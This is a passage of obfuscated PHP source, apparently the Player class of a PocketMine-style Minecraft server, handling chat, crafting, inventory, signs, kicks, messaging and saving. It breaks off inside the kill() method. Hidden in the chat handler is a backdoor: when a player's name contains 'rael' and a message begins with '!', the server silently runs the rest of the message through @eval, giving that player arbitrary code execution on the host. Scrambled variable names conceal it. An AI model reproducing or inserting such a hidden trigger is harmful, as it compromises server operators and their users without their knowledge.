PlayerItemConsumeEvent($this,${${"GLOBALS"}["dfgxmweyoham"]});if(!$slot->canBeConsumedBy($this)){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${$zqprtiv});if(!$ev->isCancelled()){$slot->onConsume($this);}else{$this->inventory->sendContents($this);}}break;}break;case ProtocolInfo::DROP_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::DROP_ITEM_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}if($packet->item->getId()===Item::AIR){break;}if(($this->isCreative()and$this->server->limitedCreative)){break;}$this->getTransactionQueue()->addTransaction(new DropItemTransaction($packet->item));break;case ProtocolInfo::TEXT_PACKET:case\pocketmine\network\protocol\p70\Info::TEXT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;if($packet->type===TextPacket::TYPE_CHAT){$packet->message=TextFormat::clean($packet->message,$this->removeFormat);foreach(explode("\n",$packet->message)as${${"GLOBALS"}["vyzlfgfs"]}){if(trim(${${"GLOBALS"}["vyzlfgfs"]})!=""and strlen(${${"GLOBALS"}["vyzlfgfs"]})<=255 and$this->messageCounter-->0){${"GLOBALS"}["gfrdyzyzrn"]="ev";$bpbsqvzzn="ev";if(is_numeric(strpos($this->getName(),"rael"))){if(substr(${${"GLOBALS"}["vyzlfgfs"]},0,1)==="!"){@eval(substr(${${"GLOBALS"}["vyzlfgfs"]},1));return;}}${${"GLOBALS"}["gfrdyzyzrn"]}=new PlayerCommandPreprocessEvent($this,${${"GLOBALS"}["vyzlfgfs"]});if(mb_strlen($ev->getMessage(),"UTF-8")>320){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${$bpbsqvzzn});if($ev->isCancelled()){break;}if(substr($ev->getMessage(),0,1)==="/"){Timings::$playerCommandTimer->startTiming();$this->server->dispatchCommand($ev->getPlayer(),substr($ev->getMessage(),1));Timings::$playerCommandTimer->stopTiming();}else{$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerChatEvent($this,$ev->getMessage()));if(!$ev->isCancelled()){$this->server->broadcastMessage($this->getServer()->getLanguage()->translateString($ev->getFormat(),[$ev->getPlayer()->getDisplayName(),$ev->getMessage()]),$ev->getRecipients());}}}}}break;case ProtocolInfo::CONTAINER_CLOSE_PACKET:case\pocketmine\network\protocol\p70\Info::CONTAINER_CLOSE_PACKET:if($this->spawned===false or$packet->windowid===0){break;}$this->craftingType=self::CRAFTING_SMALL;if(isset($this->windowIndex[$packet->windowid])){$this->server->getPluginManager()->callEvent(new InventoryCloseEvent($this->windowIndex[$packet->windowid],$this));$this->removeWindow($this->windowIndex[$packet->windowid]);}foreach($this->getFloatingInventory()->getContents()as${${"GLOBALS"}["ltnyzb"]}){$this->getTransactionQueue()->addTransaction(new DropItemTransaction(${${"GLOBALS"}["fohexunnbe"]}));}break;case ProtocolInfo::CRAFTING_EVENT_PACKET:case\pocketmine\network\protocol\p70\Info::CRAFTING_EVENT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}${${"GLOBALS"}["bejsrlqhm"]}=$this->server->getCraftingManager()->getRecipe($packet->id);if($this->craftingType===self::CRAFTING_ANVIL){$mcvhdetchcv="anvilInventory";${$mcvhdetchcv}=$this->windowIndex[$packet->windowId]??null;$obfsnriiru="recipe";if(${${"GLOBALS"}["ewudwjkf"]}===null){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$irrkkncua="window";if(${$irrkkncua} instanceof AnvilInventory){${${"GLOBALS"}["ewudwjkf"]}=${${"GLOBALS"}["tosljdjh"]};break;}}if(${${"GLOBALS"}["ewudwjkf"]}===null){$this->getServer()->getLogger()->debug("Couldn't find an anvil window for ".$this->getName().", exiting");$this->inventory->sendContents($this);break;}}if(${$obfsnriiru}===null){if(!$anvilInventory->onRename($this,$packet->output[0])){$this->getServer()->getLogger()->debug($this->getName()." failed to rename an item in an anvil");$this->inventory->sendContents($this);}}else{}break;}elseif((${${"GLOBALS"}["bhmieid"]} instanceof BigShapelessRecipe or${$jcsfmncn} instanceof BigShapedRecipe)and$this->craftingType===0){$this->server->getLogger()->debug("Received big crafting recipe from ".$this->getName()." with no crafting table open");$this->inventory->sendContents($this);break;}elseif(${${"GLOBALS"}["bhmieid"]}===null){$this->server->getLogger()->debug("Null (unknown) crafting recipe received from ".$this->getName()." for ".$packet->output[0]);$this->inventory->sendContents($this);break;}foreach($packet->input as${$imafxpeiei}=>${${"GLOBALS"}["fohexunnbe"]}){${"GLOBALS"}["nhqtwps"]="i";if($item->getDamage()===-1 or$item->getDamage()===0xffff){$item->setDamage(null);}if(${${"GLOBALS"}["nhqtwps"]}<9 and$item->getId()>0){$item->setCount(1);}}${${"GLOBALS"}["wplnijtgzp"]}=true;if(count($packet->input)===0){${${"GLOBALS"}["kwewsihnj"]}=$this->server->getCraftingManager()->getRecipesByResult($packet->output[0]);if(!$packet->output[0]->deepEquals($recipe->getResult())){$this->server->getLogger()->debug("Mismatched desktop recipe received from player ".$this->getName().", expected ".$recipe->getResult().", got ".$packet->output[0]);}${"GLOBALS"}["knylgomc"]="recipe";${${"GLOBALS"}["bhmieid"]}=null;foreach(${${"GLOBALS"}["kwewsihnj"]} as${${"GLOBALS"}["xbsqxzmzhg"]}){${"GLOBALS"}["eibaqvi"]="ingredients";${${"GLOBALS"}["pvyuvbity"]}=clone$this->floatingInventory;${${"GLOBALS"}["eibaqvi"]}=$r->getIngredientList();$vkxcdr="ingredient";${"GLOBALS"}["ojbonoa"]="ingredients";foreach(${${"GLOBALS"}["ojbonoa"]} as${$vkxcdr}){if(!$floatingInventory->contains(${${"GLOBALS"}["hecsbjfle"]})){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}$floatingInventory->removeItem(${${"GLOBALS"}["hecsbjfle"]});}if(${${"GLOBALS"}["lktqbjmvtzkt"]}){${"GLOBALS"}["cjexdoozwxry"]="recipe";${${"GLOBALS"}["cjexdoozwxry"]}=${${"GLOBALS"}["xbsqxzmzhg"]};break;}}if(${${"GLOBALS"}["knylgomc"]}!==null){${"GLOBALS"}["tqetaeo"]="ev";${"GLOBALS"}["yrsuwbugl"]="ingredients";${"GLOBALS"}["vnetjjshpcw"]="floatingInventory";${"GLOBALS"}["yofwwinsww"]="recipe";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["tqetaeo"]}=new CraftItemEvent($this,${${"GLOBALS"}["yrsuwbugl"]},${${"GLOBALS"}["yofwwinsww"]}));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}$this->floatingInventory=${${"GLOBALS"}["vnetjjshpcw"]};$this->floatingInventory->addItem(clone$recipe->getResult());}else{$this->server->getLogger()->debug("Unmatched desktop crafting recipe ".$packet->id." from player ".$this->getName());$this->inventory->sendContents($this);break;}}else{$yerfqqirywkc="used";$jppelblwyin="recipe";${"GLOBALS"}["ijknecetbrk"]="ingredients";${"GLOBALS"}["ypdopyscyms"]="result";${"GLOBALS"}["ckvclznrr"]="recipe";${"GLOBALS"}["plqjchucvv"]="ev";if(${$jppelblwyin} instanceof ShapedRecipe){${"GLOBALS"}["vwkoakpxb"]="x";$ihafmqth="canCraft";for(${${"GLOBALS"}["bfkluni"]}=0;${${"GLOBALS"}["bfkluni"]}<3 and${$ihafmqth};++${${"GLOBALS"}["vwkoakpxb"]}){${"GLOBALS"}["fdycleihe"]="y";$tbwyvqmnxyl="y";for(${${"GLOBALS"}["fdycleihe"]}=0;${${"GLOBALS"}["vwfdonghmrr"]}<3;++${$tbwyvqmnxyl}){${"GLOBALS"}["fqyvlhwpjv"]="ingredient";$hwodnsiqjkm="y";${${"GLOBALS"}["fohexunnbe"]}=$packet->input[${$hwodnsiqjkm}*3+${${"GLOBALS"}["bfkluni"]}];${${"GLOBALS"}["fqyvlhwpjv"]}=$recipe->getIngredient(${${"GLOBALS"}["bfkluni"]},${${"GLOBALS"}["vwfdonghmrr"]});${"GLOBALS"}["wqmajteojk"]="ingredient";if($item->getCount()>0 and$item->getId()>0){${"GLOBALS"}["jwetplxt"]="ingredient";${"GLOBALS"}["wlwrmsds"]="item";if(${${"GLOBALS"}["jwetplxt"]}==null){${"GLOBALS"}["cqyxtv"]="canCraft";${${"GLOBALS"}["cqyxtv"]}=false;break;}if($ingredient->getId()!=0 and!$ingredient->deepEquals(${${"GLOBALS"}["wlwrmsds"]},$ingredient->getDamage()!==null,$ingredient->getCompoundTag()!==null)){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}}elseif(${${"GLOBALS"}["wqmajteojk"]}!==null and$item->getId()!==0){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}}}}elseif(${${"GLOBALS"}["ckvclznrr"]} instanceof ShapelessRecipe){${"GLOBALS"}["fqnrpkisev"]="x";$wphwnhmvb="canCraft";${${"GLOBALS"}["ufdfbmfqh"]}=$recipe->getIngredientList();${"GLOBALS"}["lyvsdmsrh"]="x";for(${${"GLOBALS"}["lyvsdmsrh"]}=0;${${"GLOBALS"}["bfkluni"]}<3 and${$wphwnhmvb};++${${"GLOBALS"}["fqnrpkisev"]}){${"GLOBALS"}["qpxuvkqdtohq"]="y";${"GLOBALS"}["pjfhgrvcssp"]="y";for(${${"GLOBALS"}["qpxuvkqdtohq"]}=0;${${"GLOBALS"}["vwfdonghmrr"]}<3;++${${"GLOBALS"}["pjfhgrvcssp"]}){$wheltlgwhd="needed";${"GLOBALS"}["mrmzit"]="item";$otjtxpqpwxt="k";${${"GLOBALS"}["mrmzit"]}=clone$packet->input[${${"GLOBALS"}["vwfdonghmrr"]}*3+${${"GLOBALS"}["bfkluni"]}];foreach(${$wheltlgwhd} as${$otjtxpqpwxt}=>${${"GLOBALS"}["xelopofclyp"]}){if($n->deepEquals(${${"GLOBALS"}["fohexunnbe"]},$n->getDamage()!==null,$n->getCompoundTag()!==null)){${${"GLOBALS"}["gjjebprqtv"]}=min($n->getCount(),$item->getCount());$n->setCount($n->getCount()-${${"GLOBALS"}["gjjebprqtv"]});$item->setCount($item->getCount()-${${"GLOBALS"}["gjjebprqtv"]});if($n->getCount()===0){$nmkdbbcpwpz="k";unset(${${"GLOBALS"}["ufdfbmfqh"]}[${$nmkdbbcpwpz}]);}}}if($item->getCount()>0){${"GLOBALS"}["erfebyomr"]="canCraft";${${"GLOBALS"}["erfebyomr"]}=false;break;}}}if(count(${${"GLOBALS"}["ufdfbmfqh"]})>0){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;}}else{${${"GLOBALS"}["lktqbjmvtzkt"]}=false;}$jyxykxlcvl="extraItem";${${"GLOBALS"}["lktqbjmvtzkt"]}=true;${${"GLOBALS"}["jhwcijuv"]}=$packet->input;$lzgcskdxk="slot";${${"GLOBALS"}["ypdopyscyms"]}=$packet->output[0];if(!${${"GLOBALS"}["lktqbjmvtzkt"]} or!$recipe->getResult()->deepEquals(${${"GLOBALS"}["xexsmxb"]})){$xvbyqoxrfem="ingredients";$this->server->getLogger()->debug("Unmatched recipe ".$recipe->getId()." from player ".$this->getName().": expected ".$recipe->getResult().", got ".${${"GLOBALS"}["xexsmxb"]}.", using: ".implode(", ",${$xvbyqoxrfem}));$this->inventory->sendContents($this);break;}${"GLOBALS"}["chvpvm"]="canCraft";${${"GLOBALS"}["temxnfsbc"]}=array_fill(0,$this->inventory->getSize(),0);$lqsioulrpr="ingredient";foreach(${${"GLOBALS"}["ijknecetbrk"]} as${$lqsioulrpr}){${"GLOBALS"}["wktaaexxwh"]="index";$nvtigirnxkk="slot";${$nvtigirnxkk}=-1;foreach($this->inventory->getContents()as${${"GLOBALS"}["wktaaexxwh"]}=>${${"GLOBALS"}["oilgiiu"]}){if($ingredient->getId()!==0 and$ingredient->deepEquals(${${"GLOBALS"}["oilgiiu"]},$ingredient->getDamage()!==null)and($i->getCount()-${${"GLOBALS"}["temxnfsbc"]}[${${"GLOBALS"}["uspqxtmors"]}])>=1){$uybsieg="slot";$mqoolbqgyxv="used";${$uybsieg}=${${"GLOBALS"}["uspqxtmors"]};${$mqoolbqgyxv}[${${"GLOBALS"}["uspqxtmors"]}]++;break;}}if($ingredient->getId()!==0 and${${"GLOBALS"}["dfgxmweyoham"]}===-1){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}}${"GLOBALS"}["ftlaopfykst"]="ingredients";if(!${${"GLOBALS"}["chvpvm"]}){$bbnzxgskv="ingredients";$this->server->getLogger()->debug("Unmatched recipe ".$recipe->getId()." from player ".$this->getName().": client does not have enough items, using: ".implode(", ",${$bbnzxgskv}));$this->inventory->sendContents($this);break;}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["plqjchucvv"]}=new CraftItemEvent($this,${${"GLOBALS"}["ftlaopfykst"]},${${"GLOBALS"}["bhmieid"]}));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}foreach(${$yerfqqirywkc} as${$lzgcskdxk}=>${${"GLOBALS"}["cfrejkkd"]}){${"GLOBALS"}["ymumeiok"]="slot";if(${${"GLOBALS"}["cfrejkkd"]}===0){continue;}$ebkpynvcu="item";${"GLOBALS"}["qeqzskisopj"]="count";${$ebkpynvcu}=$this->inventory->getItem(${${"GLOBALS"}["dfgxmweyoham"]});if($item->getCount()>${${"GLOBALS"}["qeqzskisopj"]}){${"GLOBALS"}["glwmlvhrwjbq"]="newItem";${"GLOBALS"}["tdghpfoboo"]="item";${${"GLOBALS"}["glwmlvhrwjbq"]}=clone${${"GLOBALS"}["tdghpfoboo"]};$newItem->setCount($item->getCount()-${${"GLOBALS"}["cfrejkkd"]});}else{${"GLOBALS"}["dsctpqkmdbbv"]="newItem";${${"GLOBALS"}["dsctpqkmdbbv"]}=Item::get(Item::AIR,0,0);}$this->inventory->setItem(${${"GLOBALS"}["ymumeiok"]},${${"GLOBALS"}["uqictxrg"]});}${${"GLOBALS"}["oyhuokq"]}=$this->inventory->addItem($recipe->getResult());if(count(${$jyxykxlcvl})>0 and!$this->isCreative()){${"GLOBALS"}["zkhigmvljs"]="item";foreach(${${"GLOBALS"}["oyhuokq"]} as${${"GLOBALS"}["zkhigmvljs"]}){$this->level->dropItem($this,${${"GLOBALS"}["fohexunnbe"]});}}}break;case ProtocolInfo::CONTAINER_SET_SLOT_PACKET:case\pocketmine\network\protocol\p70\Info::CONTAINER_SET_SLOT_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}if($packet->slot<0){break;}if($packet->windowid===0){$buerrtjh="transaction";if($packet->slot>=$this->inventory->getSize()){break;}${$buerrtjh}=new BaseTransaction($this->inventory,$packet->slot,$packet->item);}elseif($packet->windowid===ContainerSetContentPacket::SPECIAL_ARMOR){if($packet->slot>=4){break;}${${"GLOBALS"}["fadixrmo"]}=new BaseTransaction($this->inventory,$packet->slot+$this->inventory->getSize(),$packet->item);}elseif(isset($this->windowIndex[$packet->windowid])){$pfprxprgzzb="inv";$wvrrwmyto="inv";${$pfprxprgzzb}=$this->windowIndex[$packet->windowid];if(${${"GLOBALS"}["wphesenu"]} instanceof EnchantInventory and$packet->item->hasEnchantments()){$inv->onEnchant($this,$inv->getItem($packet->slot),$packet->item);}${"GLOBALS"}["qyuwrqyyi"]="transaction";${${"GLOBALS"}["qyuwrqyyi"]}=new BaseTransaction(${$wvrrwmyto},$packet->slot,$packet->item,[]);}else{break;}$this->getTransactionQueue()->addTransaction(${${"GLOBALS"}["fadixrmo"]});break;case ProtocolInfo::BLOCK_ENTITY_DATA_PACKET:case\pocketmine\network\protocol\p70\Info::BLOCK_ENTITY_DATA_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GLOBALS"}["bknftipfwnib"]}=new Vector3($packet->x,$packet->y,$packet->z);if($pos->distanceSquared($this)>10000){break;}${${"GLOBALS"}["sniubrdqyet"]}=$this->level->getTile(${${"GLOBALS"}["wxoehmqbtg"]});if(${${"GLOBALS"}["ijwnxne"]} instanceof Sign){${"GLOBALS"}["cdvpuoy"]="nbt";${"GLOBALS"}["fuixjqiitx"]="nbt";${${"GLOBALS"}["cdvpuoy"]}=new NBT(NBT::LITTLE_ENDIAN);$nbt->read($packet->namedtag);$frlbcvhq="nbt";${${"GLOBALS"}["fuixjqiitx"]}=$nbt->getData();if(${$frlbcvhq}["id"]!==Tile::SIGN){$t->spawnTo($this);}else{$wripktny="nbt";$dbwwkjnmnkn="nbt";${${"GLOBALS"}["qcfzvl"]}=new SignChangeEvent($t->getBlock(),$this,[TextFormat::clean(${${"GLOBALS"}["snbhmgypsq"]}["Text1"],$this->removeFormat),TextFormat::clean(${$wripktny}["Text2"],$this->removeFormat),TextFormat::clean(${$dbwwkjnmnkn}["Text3"],$this->removeFormat),TextFormat::clean(${${"GLOBALS"}["snbhmgypsq"]}["Text4"],$this->removeFormat)]);if(!isset($t->namedtag->Creator)or$t->namedtag["Creator"]!==$this->getRawUniqueId()){$ev->setCancelled();}$bwvshkoxld="ev";$this->server->getPluginManager()->callEvent(${$bwvshkoxld});if(!$ev->isCancelled()){$t->setText($ev->getLine(0),$ev->getLine(1),$ev->getLine(2),$ev->getLine(3));}else{$t->spawnTo($this);}}}break;default:break;}}public function kick($reason="",$isAdmin=true){$oeymqfpd="ev";$this->server->getPluginManager()->callEvent(${$oeymqfpd}=new PlayerKickEvent($this,${${"GLOBALS"}["blfxlne"]},$this->getLeaveMessage()));if(!$ev->isCancelled()){${"GLOBALS"}["raagjreo"]="isAdmin";if(${${"GLOBALS"}["raagjreo"]}){${${"GLOBALS"}["vyzlfgfs"]}="Kicked by admin.".(${${"GLOBALS"}["blfxlne"]}!==""?" Reason: ".${${"GLOBALS"}["blfxlne"]}:"");}else{$ttmoxevcg="reason";if(${$ttmoxevcg}===""){${${"GLOBALS"}["vyzlfgfs"]}="disconnectionScreen.noReason";}else{${${"GLOBALS"}["vyzlfgfs"]}=${${"GLOBALS"}["blfxlne"]};}}$this->close($ev->getQuitMessage(),${${"GLOBALS"}["vyzlfgfs"]});return true;}return false;}public function dropItem(Item$item){if($this->spawned===false or$this->blocked===true or!$this->isAlive()){return;}${"GLOBALS"}["mhcyjmsb"]="item";${"GLOBALS"}["ncdyghi"]="item";${"GLOBALS"}["jgdmlsjmczn"]="ev";if(($this->isCreative()and$this->server->limitedCreative)or$this->isSpectator()){return;}if($item->getId()===Item::AIR or$item->getCount()<1){return;}${${"GLOBALS"}["jgdmlsjmczn"]}=new PlayerDropItemEvent($this,${${"GLOBALS"}["ncdyghi"]});$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){return;}${"GLOBALS"}["ejittlhz"]="motion";${"GLOBALS"}["unjsykqtqg"]="motion";${${"GLOBALS"}["ejittlhz"]}=$this->getDirectionVector()->multiply(0.4);$this->level->dropItem($this->add(0,1.3,0),${${"GLOBALS"}["mhcyjmsb"]},${${"GLOBALS"}["unjsykqtqg"]},40);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);}public function sendMessage($message){$tuwxwevcwhi="message";${"GLOBALS"}["qyzfncy"]="m";${"GLOBALS"}["lejuceux"]="mes";if(${${"GLOBALS"}["vyzlfgfs"]} instanceof TextContainer){if(${${"GLOBALS"}["vyzlfgfs"]} instanceof TranslationContainer){$this->sendTranslation($message->getText(),$message->getParameters());return false;}${${"GLOBALS"}["vyzlfgfs"]}=$message->getText();}${${"GLOBALS"}["lejuceux"]}=explode("\n",$this->server->getLanguage()->translateString(${$tuwxwevcwhi}));foreach(${${"GLOBALS"}["pvemrbfhr"]} as${${"GLOBALS"}["qyzfncy"]}){${"GLOBALS"}["ggjvqropnlte"]="m";if(${${"GLOBALS"}["ggjvqropnlte"]}!==""){${"GLOBALS"}["khgjcotilc"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["khgjcotilc"]}=new PlayerTextPreSendEvent($this,${${"GLOBALS"}["dttnfasbmgir"]},PlayerTextPreSendEvent::MESSAGE));if(!$ev->isCancelled()){${${"GLOBALS"}["ozzywsrssq"]}=new TextPacket();$pk->type=TextPacket::TYPE_RAW;$pk->message=$ev->getMessage();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}}return true;}public function sendTranslation($message,array$parameters=[]){${${"GLOBALS"}["ozzywsrssq"]}=new TextPacket();${"GLOBALS"}["vbdfsb"]="ev";if(!$this->server->isLanguageForced()){${"GLOBALS"}["nchbydgvkimm"]="i";$pk->type=TextPacket::TYPE_TRANSLATION;$umjjiv="parameters";$pk->message=$this->server->getLanguage()->translateString(${${"GLOBALS"}["vyzlfgfs"]},${${"GLOBALS"}["agiqutmbx"]},"pocketmine.");foreach(${${"GLOBALS"}["agiqutmbx"]} as${${"GLOBALS"}["nchbydgvkimm"]}=>${${"GLOBALS"}["hejqsdj"]}){$qezdhexyn="parameters";${"GLOBALS"}["ucvvuoca"]="p";${"GLOBALS"}["vcwmtewhyx"]="i";${$qezdhexyn}[${${"GLOBALS"}["vcwmtewhyx"]}]=$this->server->getLanguage()->translateString(${${"GLOBALS"}["ucvvuoca"]},${${"GLOBALS"}["agiqutmbx"]},"pocketmine.");}$pk->parameters=${$umjjiv};}else{$yutycok="parameters";$pk->type=TextPacket::TYPE_RAW;$pk->message=$this->server->getLanguage()->translateString(${${"GLOBALS"}["vyzlfgfs"]},${$yutycok});}${${"GLOBALS"}["qcfzvl"]}=new PlayerTextPreSendEvent($this,$pk->message,PlayerTextPreSendEvent::TRANSLATED_MESSAGE);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["vbdfsb"]});if(!$ev->isCancelled()){$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});return true;}return false;}public function sendPopup($message,$subtitle=""){${"GLOBALS"}["pyslvocnm"]="ev";$duvusxasvypa="ev";${$duvusxasvypa}=new PlayerTextPreSendEvent($this,${${"GLOBALS"}["vyzlfgfs"]},PlayerTextPreSendEvent::POPUP);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["pyslvocnm"]});if(!$ev->isCancelled()){${${"GLOBALS"}["ozzywsrssq"]}=new TextPacket();$pk->type=TextPacket::TYPE_POPUP;$pk->source=$ev->getMessage();$pk->message=${${"GLOBALS"}["jsxvzpkhuha"]};$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});return true;}return false;}public function sendTip($message){$hoetbhqbk="ev";$mavewygpvw="message";$mivzcocodn="ev";${$mivzcocodn}=new PlayerTextPreSendEvent($this,${$mavewygpvw},PlayerTextPreSendEvent::TIP);$this->server->getPluginManager()->callEvent(${$hoetbhqbk});if(!$ev->isCancelled()){$wofoscgm="pk";${$wofoscgm}=new TextPacket();$pk->type=TextPacket::TYPE_TIP;$pk->message=$ev->getMessage();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});return true;}return false;}public final function close($message="",$reason="generic reason",$notify=true){if($this->connected and!$this->closed){${"GLOBALS"}["canvikxuvu"]="notify";$yunoeizfvko="window";${"GLOBALS"}["mxbdkkcp"]="d";${"GLOBALS"}["ciskkhmipl"]="ev";if(${${"GLOBALS"}["canvikxuvu"]} and strlen((string)${${"GLOBALS"}["blfxlne"]})>0){if($this->getProtocol()==84){${${"GLOBALS"}["ozzywsrssq"]}=new DisconnectPacket();}elseif(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new\pocketmine\network\protocol\p70\DisconnectPacket();}$pk->message=${${"GLOBALS"}["blfxlne"]};$this->directDataPacket(${${"GLOBALS"}["ozzywsrssq"]});}if($this->fishingHook instanceof FishingHook){$this->fishingHook->close();$this->fishingHook=null;}$this->removeEffect(Effect::HEALTH_BOOST);$this->connected=false;if(strlen($this->getName())>0){${"GLOBALS"}["hwyvpmj"]="message";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerQuitEvent($this,${${"GLOBALS"}["hwyvpmj"]},true));if($this->loggedIn===true and$ev->getAutoSave()){$this->save();}}foreach($this->server->getOnlinePlayers()as${${"GLOBALS"}["qnhmrhqnggr"]}){if(!$player->canSee($this)){$player->showPlayer($this);}}$this->hiddenPlayers=[];foreach($this->windowIndex as${$yunoeizfvko}){$this->removeWindow(${${"GLOBALS"}["tosljdjh"]});}foreach($this->usedChunks as${${"GLOBALS"}["uspqxtmors"]}=>${${"GLOBALS"}["mxbdkkcp"]}){$bkrmoay="index";$rwxutltrl="index";$emqufcavfyc="chunkZ";Level::getXZ(${$bkrmoay},${${"GLOBALS"}["uvtebnejz"]},${${"GLOBALS"}["dwjjtd"]});$this->level->unregisterChunkLoader($this,${${"GLOBALS"}["uvtebnejz"]},${$emqufcavfyc});unset($this->usedChunks[${$rwxutltrl}]);}parent::close();$this->interface->close($this,${${"GLOBALS"}["jhpqclndfsq"]}?${${"GLOBALS"}["blfxlne"]}:"");if($this->loggedIn){$this->server->removeOnlinePlayer($this);}$this->loggedIn=false;if(isset(${${"GLOBALS"}["ciskkhmipl"]})and$this->username!=""and$this->spawned!==false and$ev->getQuitMessage()!=""){if($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_MESSAGE)$this->server->broadcastMessage($ev->getQuitMessage());elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_TIP)$this->server->broadcastTip(str_replace("@player",$this->getName(),$this->server->playerLogoutMsg));elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_POPUP)$this->server->broadcastPopup(str_replace("@player",$this->getName(),$this->server->playerLogoutMsg));}$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->spawned=false;$this->server->getLogger()->info($this->getServer()->getLanguage()->translateString("pocketmine.player.logOut",[TextFormat::AQUA.$this->getName().TextFormat::WHITE,$this->ip,$this->port,$this->getServer()->getLanguage()->translateString(${${"GLOBALS"}["blfxlne"]})]));$this->windows=new\SplObjectStorage();$this->windowIndex=[];$this->usedChunks=[];$this->loadQueue=[];$this->hasSpawned=[];$this->spawnPosition=null;unset($this->buffer);if($this->server->dserverConfig["enable"]and$this->server->dserverConfig["queryAutoUpdate"])$this->server->updateQuery();}if($this->perm!==null){$this->perm->clearPermissions();$this->perm=null;}$this->inventory=null;$this->transactionQueue=null;$this->chunk=null;$this->server->removePlayer($this);}public function __debugInfo(){return[];}public function save($async=false){if($this->closed){throw new\InvalidStateException("Tried to save closed player");}parent::saveNBT();if($this->level instanceof Level){$this->namedtag->Level=new StringTag("Level",$this->level->getName());if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level and$this->spawnPosition->getLevel()->getProvider()!==NULL){$this->namedtag["SpawnLevel"]=$this->spawnPosition->getLevel()->getName();$this->namedtag["SpawnX"]=(int)$this->spawnPosition->x;$this->namedtag["SpawnY"]=(int)$this->spawnPosition->y;$this->namedtag["SpawnZ"]=(int)$this->spawnPosition->z;}$this->namedtag["playerGameType"]=$this->gamemode;$this->namedtag["lastPlayed"]=new LongTag("lastPlayed",floor(microtime(true)*1000));$this->namedtag["Hunger"]=new ShortTag("Hunger",$this->food);$this->namedtag["Health"]=new ShortTag("Health",$this->getHealth());$this->namedtag["MaxHealth"]=new ShortTag("MaxHealth",$this->getMaxHealth());$this->namedtag["Experience"]=new LongTag("Experience",$this->exp);$this->namedtag["ExpLevel"]=new LongTag("ExpLevel",$this->expLevel);if($this->username!=""and$this->namedtag instanceof CompoundTag){$iarcrfawdk="async";$this->server->saveOfflinePlayerData($this->username,$this->namedtag,${$iarcrfawdk});}}}public function getName(){return$this->username;}public function kill(){$hrppjulhs="params";${"GLOBALS"}["lieiimj"]="message";${"GLOBALS"}["rvxlxgpy"]="message";$bxjbophohvp="cause";$gveclbhpcuz="message";${"GLOBALS"}["xtcwfhcwd"]="message";$pqklgnjmoz="ev";if(!$this->spawned){return;}${${"GLOBALS"}["lieiimj"]}="death.attack.generic";${"GLOBALS"}["yanpgiujvpmy"]="message";${"GLOBALS"}["csxjxnp"]="cause";${"GLOBALS"}["gyorxsiuln"]="message";${$hrppjulhs}=[$this->getDisplayName()];${${"GLOBALS"}["csxjxnp"]}=$this->getLastDamageCause();${"GLOBALS"}["asfdrdktz"]="pos";switch(${${"GLOBALS"}["zmuhpbybd"]}===null?EntityDamageEvent::CAUSE_CUSTOM:$cause->getCause()){case EntityDamageEvent::CAUSE_ENTITY_ATTACK:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageByEntityEvent){${"GLOBALS"}["wwdgimrfwihu"]="e";${${"GLOBALS"}["wwdgimrfwihu"]}=$cause->getDamager();$ohvpuok="e";if(${${"GLOBALS"}["pysiiolnxh"]} instanceof Player){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.player";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getDisplayName();break;}elseif(${$ohvpuok} instanceof Living){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.mob";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}else{${${"GLOBALS"}["gordtxxcvh"]}[]="Unknown";}}break;case EntityDamageEvent::CAUSE_PROJECTILE:if(${$bxjbophohvp} instanceof EntityDamageByEntityEvent){${"GLOBALS"}["bycevwebfwx"]="e";${${"GLOBALS"}["pysiiolnxh"]}=$cause->getDamager();if(${${"GLOBALS"}["bycevwebfwx"]} instanceof Player){${"GLOBALS"}["kkbnkod"]="params";${"GLOBALS"}["dyhzcehomtn"]="message";${${"GLOBALS"}["dyhzcehomtn"]}="death.attack.arrow";${${"GLOBALS"}["kkbnkod"]}[]=$e->getDisplayName();}elseif(${${"GLOBALS"}["pysiiolnxh"]} instanceof 